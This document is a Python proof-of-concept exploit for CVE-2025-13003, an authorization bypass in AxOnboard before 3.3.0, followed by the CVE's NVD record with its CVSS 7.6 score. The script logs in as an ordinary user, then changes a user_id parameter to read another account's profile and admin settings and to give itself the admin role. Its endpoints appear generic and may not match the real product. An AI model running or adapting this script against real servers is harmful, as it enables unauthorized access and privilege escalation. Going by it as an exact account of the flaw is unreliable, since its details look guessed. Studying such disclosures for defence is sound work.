CVE-2025-13003

# CVE-2025-13003 PoC - AxOnboard Authorization Bypass # Vulnerability: Authorization Bypass Through User-Controlled Key # Affected: AxOnboard < 3.3.0 import requests import json TARGET_URL = "http://target-axboard-server.com" ATTACKER_USERNAME = "[email protected]" ATTACKER_PASSWORD = "AttackerPass123!" TARGET_USER_ID = "1" # Target admin user ID def exploit_authorization_bypass(): """ This PoC demonstrates the authorization bypass vulnerability in AxOnboard. The vulnerability allows an attacker to manipulate user-controlled identifiers to gain unauthorized access to other users' resources. """ session = requests.Session() # Step 1: Authenticate as regular user login_data = { "email": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(f"{TARGET_URL}/api/auth/login", json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated as regular user") # Step 2: Access own resources (normal behavior) response = session.get(f"{TARGET_URL}/api/user/profile") print(f"[+] Own profile: {response.json()}") # Step 3: Exploit - Modify user_id parameter to access other user's data # This is the core of the authorization bypass vulnerability malicious_requests = [ # Access different user profile by manipulating user_id {"endpoint": "/api/users/profile", "params": {"user_id": TARGET_USER_ID}}, # Access admin settings {"endpoint": "/api/admin/settings", "params": {"user_id": TARGET_USER_ID}}, # Modify another user's data {"endpoint": "/api/users/update", "params": {"user_id": TARGET_USER_ID, "role": "admin"}} ] for req in malicious_requests: response = session.get( f"{TARGET_URL}{req['endpoint']}", params=req['params'] ) if response.status_code == 200: print(f"[SUCCESS] Accessed {req['endpoint']} with manipulated user_id") print(f"Response: {response.text}") else: print(f"[FAILED] Access denied for {req['endpoint']}") return True if __name__ == "__main__": print("="*60) print("CVE-2025-13003 AxOnboard Authorization Bypass PoC") print("="*60) exploit_authorization_bypass()

{"cve": {"id": "CVE-2025-13003", "sourceIdentifier": "[email protected]", "published": "2025-12-11T13:15:58.517", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Aksis Computer Services and Consulting Inc. AxOnboard allows Exploitation of Trusted Identifiers.This issue affects AxOnboard: from 3.2.0 before 3.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0446", "source": "[email protected]"}]}}